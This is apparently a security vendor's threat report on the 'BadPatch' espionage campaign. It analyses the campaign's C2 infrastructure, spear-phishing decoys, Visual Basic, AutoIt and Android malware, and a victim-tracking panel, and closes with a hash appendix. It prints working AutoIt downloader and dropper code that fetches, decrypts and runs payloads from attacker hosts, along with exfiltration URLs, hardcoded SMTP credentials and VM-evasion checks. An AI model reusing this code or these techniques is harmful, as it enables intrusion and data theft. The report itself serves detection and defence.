One of the C2 servers we observed in our earlier KASPERAGENT and MICROPSIA research was mailsinfo[.]com. The first IP address that this domain resolved to from about mid-May 2015 through October-November 2015 was 148.251.135[.]117.

We used passive DNS (pDNS) and found the server mail.pal4u[.]net on 148.251.135[.]117 starting mid-May 2015. We also found other servers on this IP address. We do not believe this necessarily gives a link between campaigns found on this IP address as it appears to be shared by multiple unrelated third parties. However, the nature of activity and some malware artifacts on this IP address does suggest a possible link to the Gaza Hackers group.

C2 Infrastructure

As we followed our leads from the previous KASPERAGENT and MICROPSIA research and dug into the server mail.pal4u[.]net on 148.251.135[.]117 that research led us to find the C2 infrastructure of this new campaign.

Digging into Pal4u
The WHOIS for pal4u[.]net appears to be a Palestinian hosting company. The DNS records for pal4u[.]net gives us, in addition to the “WWW” hostname, the Name Servers (NS) “NS1” and “NS2” and additional IP address 195.154.216[.]74.

We found six additional domains that used palu4u[.]net as NS, and which all shared the same historic IP address 195.154.216[.]74 (Figure 2). From the seven total domains, we observed six as malware Command & Control (C2), exfiltration, malware download servers, and/or in associated malware code:

Pal4u[.]net

Pal2me[.]net

Pay2earn[.]net

Shop8d[.]net

Ts4shope[.]net

pal4news[.]net

We only found one of the seven domains associated with this IP, ads4market[.]net, not associated with malware activity. We did not find any legitimate activity or content associated with these six domains during the period of associated registration.

Figure 1- C2 domain links

While there is historic WHOIS for pal2me[.]net and shop8d[.]net, research into the registrant information suggests this is related to the ISP rather than the actors using the site for C2.

We also found the DNS RNAME “a.faris.live[.]com” was used, but this also seems to be related to the host ISP rather than the site owner.

Understanding that we were looking at a collection of linked malware C2 servers, we started to look into the attacks methods and malware that used this infrastructure.

Attack Methods

We observed initial attacks using this infrastructure were against victims via spear phishing. However, for the first time in any known Gaza Hackers-linked campaign, we also found a limited use of vulnerability exploits – RTF exploit CVE-2012-0158 documented by Citizenlab (Part 3 – “The Curious Case of the Shared Exploit”). The attackers used the RTF exploit to download their “BadPatch” Windows malware from hacked WordPress site wp.piedslibres[.]com/wp/wp-includes/js/Next.scr.

SHA256	d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8
First seen	2015-05-13
Filename	لمستجدات.doc , (Developments.doc)

We found a second attack sample that used the same exploit, that also downloaded the same malware from the compromised server.

Filename	6660491190525a7413b683b91a6c8b0082aa71e6dd6291d11ec26e1e3cf55a57
First seen	2015-06-15
Filename	تسنيم.doc (Tasneem.doc – the military organization of Fatah (political Palestinian movement))

In most of the attacks we observed the malware will display a blank Microsoft Word decoy file, or a Microsoft Word file with error message:

"An error occurred, please try your request again later".

We did observe some variations in this attack. The first malware sample that we identified (compiled on 12 June 2012) dropped an Adobe Flash decoy file (Figure 2):

SHA256

92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812

Figure 2- Adobe Flash decoy

Samples typically employ decoy filenames tailored to the spear-phished target:

SHA256	30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df
Filename	عاجل جدا وسري جدا.gz (Very urgent and very confidential. Gz)

SHA256	cc8020c36156c7e5c8cfbbb32bc8d7f03536510f4e3b38b22e0abdb9ad90c90e
Filename	,اسماء المستحقين للمالية.scr (The names of the beneficiaries of Finance. scr)

SHA256	1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285
Filename	الهباش يتحدى حماس الاعتراف.scr (Habash defies Hamas recognition.scr)

SHA256	2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f
Filename	Statement of Account-ARABBANK.exe

Malware Analysis

We collected 148 malware samples in this campaign, using the C2 servers that we identified, and grouped them into four categories:

Microsoft Visual Basic Malware – exfiltrates data via SMTP (port 26), and HTTP.
Autoit malware – early versions also used SMTP for exfiltration, but mainly HTTP.
Autoit downloader & dropper (downloads and executes the Autoit malware)
Android malware – exfiltration via HTTP (first seen December 2015)

Microsoft Visual Basic malware

Upon infection the malware copies itself to %appdata%\microsoft\microsoft [0-9]{9-15}\dwm.exe (9-15 digits in directory name “Microsoft”), and adds a link to the malware executable in the startup folder for persistence.

These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox.

Keylogger and system info exfiltration is done via HTTP Post:

lms/getdata.php?myAction=add_line&macName=…$&computer_id=App.EXEName&mac_address=…&dns_domain=nnn&domain=bbb&content2=$FRESH:%20%20ESC%20pango2012ENTR&ver=3&mac_time=tt&patch_user_id=mgh2&patch_group_id=Label1(2).Caption

File exfiltration is done via SMTP port 26, with the SMTP credentials hardcoded encrypted in the malware code. Some mailbox examples:

user: sender_b@pal4u[.]net
password: sender@123

ubuntu_net@pal4u[.]net

ubuntu_send@pal4u[.]net

Figure 3- SMTP encryption settings

The list of files for exfiltration are written to the malware folder as “sysfiles.txt”. A file “1.done” is generated with content "done" after successful exfiltration. The file “mac.txt” contains the computer MAC address. Some versions exfiltrate recent files, others collect and exfiltrate files matching a hardcoded extension list:

*.xls;*.xlsx;*.pdf;*.mdb;*.rar;*.zip*.doc;*.docx

AutoIt Malware
We observed a shift from Visual Basic to AutoIt malware in this campaign around March 2016. AutoIt is a freeware BASIC-like scripting language designed for automating the Windows GUI and general-purpose scripting.

This malware achieves persistence by writing to “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.lnk" using the WScript object.

It attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard:

Checks for processes “VBoxService.exe", "VBoxTray.exe", "VMwareTray.exe"
WMI query on Win32_DiskDrive, looking for "VBOX HARDDISK","QEMU HARDDISK","VMWARE VIRTUAL IDE HARD DRIVE", "VMware Virtual S SCSI Disk Device"
WMI query on Win32_BIOS "Found Vbox BIOS version"
WMI query on Win32_Baseboard “Found VMware-style motherboard”, "440BX Desktop Reference Platform". Name="Base Board"

The malware deletes Chrome and Firefox cached password files, requiring the user to re-enter site passwords, affording the keylogger the opportunity to capture them.

The malware can be instructed to kill the malware process by Process ID, or by hardcoded name.

It can update itself by downloading and executing a newer version:

h__p://m103.pay2earn[.]net/public/versions/["svchost" & $i & ".zip] (where i=1 to 7).

The new version is saved at %appdata%\Microsoft\updte\svchost.scr.

Environment data exfiltration via POST
It will perform a WMI query to enumerate installed security products.

It stores data in log files:

Specific attacker username stored at %appdata%\Microsoft\updte\usu.log

MAC address %appdata%\Microsoft\updte\mac.log

Errors are logged at %appdata%\Microsoft\updte\log.log

This data is exfiltrated along with Operating System version and architecture using HTTP POST:

h__p://m103.pay2earn[.]net/devices/settings

/devices/settings?mac_address=<macAddress>&content=%20Start%20Downloader%20majdTest%201/2017Anti%20Type:%20%20%20OS%20Version%20=%20WIN_7%20|%20X64

h__p://m103.pay2earn[.]net/logs/new

/logs/new?name=<computerName>$&computer_id=App.EXEName&mac_address=<macAddress>&content=$%20Start%20Downloader%20%20majdTest%201/2017&patch_username=majd

Screenshots via SMTP

The malware takes screenshots on the victim computer, exfiltrating them using SMTP (port 26) as “GDIPlus_Image1.jpg” and “GDIPlus_Image2.jpg”.

The SMTP configuration is saved as encrypted RC4 strings, decrypted with password !@#$%^&*()

Figure 4- SMTP RC4 encrypted strings init

Mail is sent, in this example, using the string "Start Downloader majdTest 1/2017".

Figure 5- SMTP mail sending function

The emails are sent from an email address at the C2 server, to a recipient address on the same server. Decrypted example:

smtpserver: m103.pay2earn[.]net

fromname: sn@m103.pay2earn[.]net

fromaddress: sn@m103.pay2earn[.]net

toaddress: asf@m103.pay2earn[.]net

username: sn@m103.pay2earn[.]net

password: sn_$_2016

We observed a single variant using an obfuscated AutoIt script (5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7). Another outlier variant was keylogger-only, supporting intercepting only Arabic and English characters (42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362).

Autoit downloader / dropper
This simple component downloads and executes malware from the C2 server (e.g. pal4u[.]net or m103.pay2earn[.]net).

SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02

gtyu()
_zizi2()
Func _zizi2()
  Local $sfilepath = _winapi_gettempfilename(@TempDir)
  Local $hdownload = InetGet("http://www.pal4u.net/zzzzz", $sfilepath, 
        $inet_forcereload, $inet_downloadbackground)
  Do
    Sleep(250)
    Until InetGetInfo($hdownload, $inet_downloadcomplete)
    InetClose($hdownload)
    Local $ialgorithm = $calg_rc4
    If _crypt_decryptfile($sfilepath, "F:\ddd.zip", "?><MNBVCXZ", $ialgorithm) 
    Then
	Sleep(250)
	Local $zip1 = _ezezez("F:\ddd.rar", "F:\")
    EndIf
EndFunc
Func gtyu()
  Local $sfilepath = _winapi_gettempfilename(@TempDir)
  Local $hdownload = InetGet("h__p://www.pal4u[.]net/dddd", $sfilepath, 
        $inet_forcereload, $inet_downloadbackground)
  Do
    Sleep(250)
    Until InetGetInfo($hdownload, $inet_downloadcomplete)
    InetClose($hdownload)
    Local $ialgorithm = $calg_rc4
    If _crypt_decryptfile($sfilepath, "F:\dd.docx", "ZXCVBNM<>?", $ialgorithm)
    Then
	ShellExecute("F:\dd.docx")
    EndIf
EndFunc
Func _ezezez($szipfile, $sdestinationfolder, $sfolderstructure = "")
  Local $i
  Do
    $i += 1
    $stempzipfolder = @TempDir & "\Temporary Directory " & $i & " for " & 
                      StringRegExpReplace($szipfile, ".*\\", "")
  Until NOT FileExists($stempzipfolder)
  Local $oshell = ObjCreate("Shell.Application")
  If NOT IsObj($oshell) Then
    Return SetError(1, 0, 0)
  EndIf
  Local $odestinationfolder = $oshell.namespace($sdestinationfolder)
  If NOT IsObj($odestinationfolder) Then
    DirCreate($sdestinationfolder)
  EndIf
  Local $ooriginfolder = $oshell.namespace($szipfile & "\" & $sfolderstructure)
  If NOT IsObj($ooriginfolder) Then
    Return SetError(3, 0, 0)
  EndIf
  Local $ooriginfile = $ooriginfolder.items()
  If NOT IsObj($ooriginfile) Then
    Return SetError(4, 0, 0)
  EndIf
  $odestinationfolder.copyhere($ooriginfile, 20)
  DirRemove($stempzipfolder, 1)
  Return 1
EndFunc

gtyu()

_zizi2()

Func _zizi2()

Local $sfilepath = _winapi_gettempfilename(@TempDir)

Local $hdownload = InetGet("http://www.pal4u.net/zzzzz", $sfilepath,

$inet_forcereload, $inet_downloadbackground)

Sleep(250)

Until InetGetInfo($hdownload, $inet_downloadcomplete)

InetClose($hdownload)

Local $ialgorithm = $calg_rc4

If _crypt_decryptfile($sfilepath, "F:\ddd.zip", "?><MNBVCXZ", $ialgorithm)

Then

Sleep(250)

Local $zip1 = _ezezez("F:\ddd.rar", "F:\")

EndIf

EndFunc

Func gtyu()

Local $sfilepath = _winapi_gettempfilename(@TempDir)

Local $hdownload = InetGet("h__p://www.pal4u[.]net/dddd", $sfilepath,

$inet_forcereload, $inet_downloadbackground)

Sleep(250)

Until InetGetInfo($hdownload, $inet_downloadcomplete)

InetClose($hdownload)

Local $ialgorithm = $calg_rc4

If _crypt_decryptfile($sfilepath, "F:\dd.docx", "ZXCVBNM<>?", $ialgorithm)

Then

ShellExecute("F:\dd.docx")

EndIf

EndFunc

Func _ezezez($szipfile, $sdestinationfolder, $sfolderstructure = "")

Local $i

$i += 1

$stempzipfolder = @TempDir & "\Temporary Directory " & $i & " for " &

StringRegExpReplace($szipfile, ".*\\", "")

Until NOT FileExists($stempzipfolder)

Local $oshell = ObjCreate("Shell.Application")

If NOT IsObj($oshell) Then

Return SetError(1, 0, 0)

EndIf

Local $odestinationfolder = $oshell.namespace($sdestinationfolder)

If NOT IsObj($odestinationfolder) Then

DirCreate($sdestinationfolder)

EndIf

Local $ooriginfolder = $oshell.namespace($szipfile & "\" & $sfolderstructure)

If NOT IsObj($ooriginfolder) Then

Return SetError(3, 0, 0)

EndIf

Local $ooriginfile = $ooriginfolder.items()

If NOT IsObj($ooriginfile) Then

Return SetError(4, 0, 0)

EndIf

$odestinationfolder.copyhere($ooriginfile, 20)

DirRemove($stempzipfolder, 1)

Return 1

EndFunc

This downloader example also displays a decoy file (bbb.docx):

SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02

#NoTrayIcon
$appdate = @AppDataDir
Local $ifileexists = FileExists(@AppDataDir & "\bbb.docx")
If $ifileexists Then
   FileDelete(@AppDataDir & "\bbb.docx")
EndIf
DirCreate($appdate & "\Microsoft\updte\")
FileInstall("bbb.docx", @AppDataDir & "\bbb.docx")
If ProcessExists("svchsots.scr") Then
Else
   FileInstall("svchsots.scr", @AppDataDir & "\Microsoft\updte\svchsots.scr")
   Run(@AppDataDir & "\Microsoft\updte\svchsots.scr")
EndIf
ShellExecute(@AppDataDir & "\bbb.docx")

#NoTrayIcon

$appdate = @AppDataDir

Local $ifileexists = FileExists(@AppDataDir & "\bbb.docx")

If $ifileexists Then

FileDelete(@AppDataDir & "\bbb.docx")

EndIf

DirCreate($appdate & "\Microsoft\updte\")

FileInstall("bbb.docx", @AppDataDir & "\bbb.docx")

If ProcessExists("svchsots.scr") Then

Else

FileInstall("svchsots.scr", @AppDataDir & "\Microsoft\updte\svchsots.scr")

Run(@AppDataDir & "\Microsoft\updte\svchsots.scr")

EndIf

ShellExecute(@AppDataDir & "\bbb.docx")

Android Malware
The actors do not miss the opportunity to also collect data from the Android devices of their targets.

As well as the typical ability to update the malware, this Android malware collects and exfiltrates device files, SMS messages, voice calls, and can also be used to remotely record sound or video using the device. A follow-up blog will examine this malware in detail.

Records Management System and Victims

The threat actors have developed their own, custom system to manage the data exfiltrated by their victims, "نظام إدارة السجلات" (“Records Management System”). Server logon requires 2-Factor authentication (2FA).

Figure 7- RMS SMS 2FA

Figure 6- RMS Logon Screen

During the course of our research, we observed a newly introduced bug in their authentication. Navigating directly to the page “sms.php” bypassed the initial password entry requirement, taking us directly to the SMS verification page (Figure 6).

Further, we discovered that navigating directly to “/lms/index.php” no longer redirects the user to login.php, but instead granted authenticated access to the system.

Figure 8- Records Management System

This allowed us to enumerate the victims contacting the exfiltration server (Figure 9,) through March 2016.

Figure 9- Victims by country

As reflects the nature of campaign, we notice a small overall number of victims. That the majority of victims appear domestic is also not unusual in such campaigns, although we also noted the actor infecting their own test machines in some cases (Figure 10).

Figure 10- Testing Logs

The Adversary

We find some hints in sample filenames, Microsoft Visual Project directory names, and HTTP POST parameters, suggesting the names of some of the actors involved in this campaign, and a possible link to an official Gaza Bureau.

S:\sh\work files from shaaban\4shopfiles tajas\shop8d\Project1.vbp

C:\Documents and Settings\HADJYOUB.HADJ-1065B94515\Bureau\cm\Project1.vbp

Possible nickname strings that we observed include:

Shaaban, Hadjyoub, OMR, mgh2, rashed, Shady, majd , f2b, jno, ajr , hmg, vip, 2ta, asf, h2m, mag

Naming

The actors appear to name this malware “Patch”:

"\2014-03-17\exe\gaza\Project1.vbp"
V:\Batch Versions\

In Arabic, “P” and “B” are phonetically similar, leading to common B/P misspellings.

Embedded strings:

"Old - update patch and check anti-virus.. "
"PatchNotExit-- Check Version"
"PatchNotExit-- download now"
"PatchNotExit-- Version Patch"

Server communication parameters:

The “patch_user_id” parameter appears to refer to the individual actor managing this victim.

Age of Campaign

The oldest sample we observed has a compile date of 12 June 2012. The C2 server linked to that sample, pal2me[.]net, was also first registered on the same date. This campaign has been running for at least more than five years, and continues to this date.

Development Over Time

The oldest sample we observed (above) supported exfiltration of victim data using email (technique is detailed in the malware analysis section):

92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812
C:\Users\Shady\Desktop\only email with slide show\Project1.vbp

Keylogger functionality is introduced:

106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea
E:\work here\ready kl send recent files\Project1.vbp

New keylogger version:

17a4126fb1fb19885d78c82271464d82af8618b7d1b7d8901666c1121ddb2ba1
D:\000 work\21.3 GB\newSpoofKL\Project1.vbp

New file exfiltration test version (details are in the malware analysis section):

9a8acd988089e7f9dd04f971374f766db519e854d42e8052b0d98b4c9c6b67e4
Y:\My Work\VB 6\Get Files\GFiles 14-09-2015 - Working tst only\Project1.vbp

Visual Basic versions, new downloader:

224b5af4ca4de234f03408487f075f0d638826cb6f65944a3e8dcbaac4372e79
Q:\newPatch\downloader\exe site\shop\Project1.vbp

Downloader version 2.8:

d906118fb36a0cc4e83121d4d606ad685645252e8e0791f793057499d8751bf0
J:\dowloader 2 8\downloader\site\Project1.vbp

Version M103, pointing at the currently-live C2 server m103.pay2earn[.]net. Current server registration dates to 8 February 2016, the compile date of this malware was 31 March 2016.

Sha256 - d9253c808d83ace06f885479e0807246a29cb9967ea0d0855f5a3802825b13db
W:\newPatch\exe vb m103 30 3 2016\Project1.vbp

Conclusion

Diligence in investigating infrastructure associated with a previously documented campaign, led us to another possibly unrelated campaign, crossing paths in hosting.

This allowed us to uncover a previously unknown C2 and exfiltration infrastructure, associated malware, and the first time that we’ve observed this group using exploits.

The simplicity of the malware and relative unsophistication of C2, exfiltration and stolen data management belies the demonstrated fact that this very targeted, low-volume campaign has been working fine for these actors for five years, and continues today.

Coverage

Palo Alto Networks customers are protected from this threat in the following ways:

WildFire accurately identifies all malware samples related to this operation as malicious.
Traps prevents this threat on endpoints, based upon WildFire prevention.
Domains used by this operation have been flagged as malicious in Threat Prevention.

AutoFocus users can view malware related to this attack using the “BadPatch” tag.

IOCs can be found in the appendices of this report.

Appendix I – Hashes

1a0c0a0c74d085d6e90c5d96517926218fc55cc161f5c1e5dbb897f40d1f5164

26e3d2dd7b70701aff8552889c899b7915b06f0b979a4766076681dd01abd978

16c151ffe5e439a9383900738b4f8938cd33ba1781b62d8e2ee0686336a7145c

9a4ed995dfd9d468715dfe4906265059aa3bb1e0d6ceb547e84001661a023a9d

f1e616aecf6205daaf6c55898f86092055fe85a3825837c688c2e7545f6efb7e

db829b0d7396feaef2a4555b9d4fdf1b00d287dad93585e1c6c54f9cee0e9d4f

abaf5a7d82e6db68fb73af18bf1f5e37b200f04dcc6e34da98ad044d9f411022

04b8b48a795bcfe2b7344c2bbc409e85641e412c35ff490e7ae074e7d48698f7

668b4c01e0493dc2b8b3a1b7134ce3811ef1449c2807ef6ca1c0b8356b90a2ed

342de173d65d604e0935808b1d6a617060602c86e543bdf1c4c650812dec3883

6180311025913c26ff8ac90b57b3fad61e21cdd896ea8b26a5ee14e6e663f6bb

1d2a85a88153061ea17c6eeb9394f1d969ed6f0db526c7ddf79919676d4ca012

3bb663567994bae2da06ea84a75b5205b7fa38dd8253ab326bfa4c50a90939ac

4a1a5456123ef756956cc1d9a53f44dab040421700edf051f21671abe7e61d69

47ecddb2f7f7242a3fd6cf9d08715512644f3ca199e779f737762150765b3027

32667a9bfb24f505f351804d8516e2f5cf7f88ba6ef4de4db4463234ba4a3ea1

68cd91e61a1bd6b5a1f39e45920c887be9603e85ca4e03b156cdc7acbe66f7c7

56904fea473c40b9cf39de854a81896e8ba8f2bc1415101e69c25c065eb9773e

0274e5f807a951cc68c0fd5af3fc9fa7b8a7305609da8144dacf69d0d39a23a4

3ce1ad8a7f90404bdfc8157689742448ff675d094767a10c9cdf1e08ce068c55

acc351ce2d3bf1bacb10bf379c6575fdb98e7c0fc2c69d20a7a7e3cf34615ae1

19c25fa8a43b9da08fb5a78c03c554f23c0635ce618e789296fd35d748603fd4

9e87eff7c42c077486531d6a178cab830c19aa787a18bc7ba5334a682cf82312

1d4d3ad6a1330ada787c11dcf39bcf4864745aa440bfe1a45291f82b5467849f

01d08050e532145ebb08398c51ac387979d34526918b8b21d0a3d0bed1ba3487

b3847e10df393052222da931a96bedacf6d862e3470256dfb234a93947a23e82

71015d0586123eac15c36aa4747fb60d03e671d5b5b4608818258320e33512e7

c0e24060684d376068acdb40636392eb5627b410f9cb67428008415d288cb7f9

0be090f3b01713a28f5bc94feb41f07ccd2814e0c7a58f5226242f96e80baaec

20d337997e2a79015aa711bda443d2c0248959f15f007ec469839c7fa4418b9b

ef6e26502bb160be3154d7a34a461bbbc1bf8eaf3142c64658d14707836badec

40929deab63f001f99973dffe6674e8bf0347f5dc30b5fb2d38e00667b90be7b

584de1b855adaabc329639d09c77512a5f05099ecd629698b04893ac58fba01c

90a86513076a32328e654f241226f454a5b39d76ea1a3119432aa9bb4253f775

799c5a2dd25f180b4d4dda72da8da55bc6a99e2f01068880d7e3b58f8687242a

6bbfd7f427458a485946d09318260cc484191a7d2e6f20dc0c143065716ff378

8c01e58a2523297599342e38b6f8559b67d82bc790963b7a96802f30d337f295

f8b022d3be92bf893b92ea235dd171443ac61330d008a0a786a0af940f2c98a7

6ed9b8b0c478e30bc4f25bfcae3652b3937d735457b41146286173c54f3d5779

28fb8f3858df045f3a1979f66ac9793f89f42324fcac8339f9f0fb7e566dbf16

802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2

224b5af4ca4de234f03408487f075f0d638826cb6f65944a3e8dcbaac4372e79

39655262901bc4a35867fa458a6025aa1175613c57ef51336412c32ca61715a1

d49c16c0aacdb700f5afab86b20640a85c01d31b81c854c6a49eb62b8af68b68

99ea3a10ea564b980a10e969b9b70fdef9be0b53ea4dee331cac7ebbdef65c47

a6c0ef11f8d3f12215a9d2d4d461f0eb92f4f305bdd32c2bb3e3a7196f8bb26d

8b322ebd9dfae74c531f70a32b7d5689c394c6e5455575de53cc8984f7ebdbe5

4c3a6c5a8a7a03581bf337dfb7572fb919a7d0414179019836b909e5e40921dc

48845b4d384665b2078b1b4ed55a29fc4b2634e38d2c05ee29fb7a24e5a5c7f2

3984d2400880e2f87f0c0e0e9d8f0e8e4b81971b53f66d840d1733a1cba6ccb1

b9eb60c690b19a13da8717c4ba60e2bf9c4cda92fb9a723bed6011b08ea1b0ca

1b6282350a25f9e362c68d359277746bc5039a0532e05375b06e9688622df6ba

ca2e49411ca8c2f8071bc5e12a8266444db7c1a7d0651d9fa9422970024f2150

5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7

ecd6fa73cf527025792c4f1ee13acbd1c1219217f6da5aed2aaed11ea8453393

fc06a74968ad0db68f26fa5e306a279728617fde7f3b8a8ddfb449f02bbac2c9

934e56b74a5ca093857042c5b0371661134d29ea405d444bd2d602c74c20b9d2

4c4d9e0062225311584fbf25b79e2a5b9a98dc2a3a43e736621082d8a92f18fe

5e1173cc0c8226881a5fa21e6811e96db732c4ee9dfa2d3455c650d4522fe732

e4400d9f128bf9ba924d94f1c87cfe882cc324d607ffdcbb03aaad6cdf71d2ef

1dec4ec17c7bfe5abc9bb0a885e4cc5a2e5ab6a9676bb9f445402b84599ec915

2f9eedcdda4f28ca08ece26a58e859062a6c0b9cf7f319b3eaa8d9f034c76d20

ef03d20595daa112f7652a11f2f7c2cac37216dae9bbd1aa87e482fd204c858e

4246159ae6234697ed015c8c222ce053a7eaf83e2960d1c49339e72184be7e40

b9440d29e2104cc3411c71c5db504dbc043c77aee24154ac68409df97c5eff49

a33bccaa7d2d3797f25edfae846f1e7757b50633b374f8ce1faf7a5934784817

3c55a81f460804e2e39a1d3dc556fa5a93fe7ce8c139f8b68f1e5ca98f62875c

0a376070679f6a31b2f6aaef23747f930544ab77ad01d30007f6d0ccf2bead60

cdf964200bb9130c09d1bfd17677e2da5808c179a2cd6d49fa32780df1b5b92a

92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812

e73dd4c69a9a9fedd40c290bad68115e3645e74d1d68af0d7fe77ef7c0c5e875

e7fb8bf35fb9bfa2f20fcc293939aad71d5fc39af36defb5150e2f394bb1500e

cd933c6cc8450135deacd61a51e1b425ff7516cac078b92fe1b6f602e4c39e53

025ab87dc729cbf284104a8c9872b63e486ad8af9aef422906743feb0db04224

42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362

78301ce0bb93dea81f4d70ebb224cc076e7f1e4c38b65afbbc1ad8d4c4882893

5ea75fcdd2be820efdddc411fce9b6d277b66d3356ab8f79bcf542a4ce9fdfa0

c595e47f8e50e8f0ffdc3258f2dcc9411150c3ea00709341c6d4e42d578e46ae

201642c6d1341127aa0137e20db8a3d2da0412fb06ff14eae0c61f6174a44045

fedf49896daa893608deaec7b36a4acb8fbedf7363788c35a6c0431ad0fadca9

22ff8ce9840bae9c9c9aa107e689ec287abb93d585a469c442b295146b9c10c2

30aa9b1c18bb494a01817b5fc0f7418efe2022e7335e815d96dcb8c1fe63e8e8

830cb27f0c584d55267a4e0f6ddcb00c53ce1906946f5d490a26729d38d12057

7370c81abf55a39918a537d1e49a51d74df2042883d11062383038367c864087

d9253c808d83ace06f885479e0807246a29cb9967ea0d0855f5a3802825b13db

ffea93677d1c404900ea5ba20631625ea2e28a22c3af02155c747f2f25429885

a25abe1c21bec0c0259270aa2333ee1d1b6a327a356f5434c42558143a252afe

ce606c710aa001b09f0b51b78bf8675d8b1be4d99714b1a3b9ca245865fec508

98f57b4693bbe9d469821f5433004edafe6ddf8964fa1ef1465ee73fbce24e0c

18c84b6f7e58b2867ec6f3e7c7998ac6901fd485d503d32c8fabff93744574d1

9b2c33764252c2bf807c837d80bffc21eeab87e7129c2d3e9b9b7a1eeee2de84

24a9c57bb4cbb3d1b89c4e7affad599d431de4f007d4c54a4da25a8a2ba4f116

17a4126fb1fb19885d78c82271464d82af8618b7d1b7d8901666c1121ddb2ba1

278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d

2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02

5b84e8ad40e018b5d87a464e67173eebe2b268e816d9bb864f1d0f1441bebc7c

f52e47c6b0916655d7e8868bd79904e8825fdf98624d8c42192cae808543b0a5

c4f0ec52ce768f2ba36e4954e2afca3ef7ef46d757070a861cc6609d256a3fe1

3d59703fb58265b07ae1cb26750baba733e304f5540a6824329b7ff6f7ab3efe

b02585dd5399047daf3bccd9d7ed5cc69b0fc23b4709e9270c9f09f67c0a23bc

d18e84f86d7a8cfd246baa1684517d69e411780f9da6b8e3ddb99a61c8d0947a

c4fd31ab40e6cb2ebf75d5dc81045ebc38a8825def3f1696a539c32e5ec5b353

9c6b8eb7c007abc681ceb67da5b1c7533055bb9985236abb46ec6f7e0b14e03e

f1e8a5cb9c019dd649564efe4157a90a6f980fd1f0f75c596f20c02e08462373

8443d7bbd02bed691ba1ce55ea0660601c5f10256cbfafd410de41ab2cd4d047

ade725bed78f8a8f0c9a612ee22ea716e3caeacbe16726f9726b39d74e5f3c18

a94e82793f458b81707e005ba1298022a6b7ca0c07869884750d121a06401689

3466d46a970b77cd14cf5c6c8587f522c9b823c8b28abf87a66b07e32041e5c1

d906118fb36a0cc4e83121d4d606ad685645252e8e0791f793057499d8751bf0

9a8acd988089e7f9dd04f971374f766db519e854d42e8052b0d98b4c9c6b67e4

122f4d69497a162a942d8f400dabbe93ae0a326a022886bf6c9c45d23c299f96

ce98ab10089a9ef089941e48fe4cdf1af5c8a3df358f870d933668bbfb2f330e

a713f5c0089a5ef9b2da40fa8cfe06aad73cc836f337c772b1c7d30d70a6c5ed

7fd71102743bf9212b96368597be396a1a22a49a1ec011f1c607533bdefc94bb

46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0

a7c30a18a3840a97c1ce0130b55ef3f514952233dfcc8662a9e66c6029f95ba9

86ede9ee62785fb11f4c6c95937d6d5bc6bb16c0d3b90ffeeab719b59f7d4e61

30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df

f36048ea70f70c4adde2d93819e7aa8652ab2761e598cafb1ea871b6730dbad3

cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876

8f82649ca0e9d1d48ec58a9e2e8431ddda0dc62db1a6d2cd9ec29afa7d59abc3

358b0d6fc23b4984b51deb81ce89c110582e1730bd1eb163f633e1ed9e3388ee

89bb38d54a80b460ea2744b7c5af02a1823939b55990ccd31c06d7ef040d29f3

4a2ef9663f0d5fdfa551e3d31af6dbcffdc78ea02c0fb963b5486daee78421bc

27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247

fc7558abd0b196a2c070db98268ed00dff186d609e23a93c03640dcc478db2eb

46dd5deda642d4a8cf628d865483e82279cce2846106b830d45b64e1e19727dd

5c47ed83e47f1bdde8c1ebc3d6193fef190c3934fb2239e84950ae5c073eb808

cc8020c36156c7e5c8cfbbb32bc8d7f03536510f4e3b38b22e0abdb9ad90c90e

39b825e400ea17215d6efc5ae425759bbfd3cd8569451680fbf782cfedbec0c5

050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c

08b32da8995ae094bfb703d7d975c3816cf04c075c32281e51158164d76cd655

24fe39572ee425e30c018947a1422342479a3d664d1a8d2ab28cef656394073a

1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285

087941d80baca00501739abf0b8450dce723733ea8866589fa9779481e7a6cfb

285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813

c9c4263ac3287aa48d8cf03fdbb32a179cfd8c08d1c1a39696d8c932603e8df9

bc8b240c89304c12dce75076f9fcc2859f48ec01347f9cc0a4cb9fbcb77ed089

2349d745d84db772d97c599e6150ff4585a69d915deb6d6e6601e412651164f3

2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e

69424f5e0bd974271f367fae04179de4efe233d56ad81840a3c3936eaa244502

a793a401277b307c3b056a725672d81b71492cb564d6db2445a9c30724f61d72

68ba2fa76ef3b3c905f26dae3c75a6b5e165b4246cb4f574c07ad70013b265ae

b2d203b927507176606a6616ba8b8729050ecaff0790a9deb37df32caab7d613

2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f

a1a5abab16c9de1c69c4a7e731c0f13c9bb8ce90dab15546807cae039c7f9385

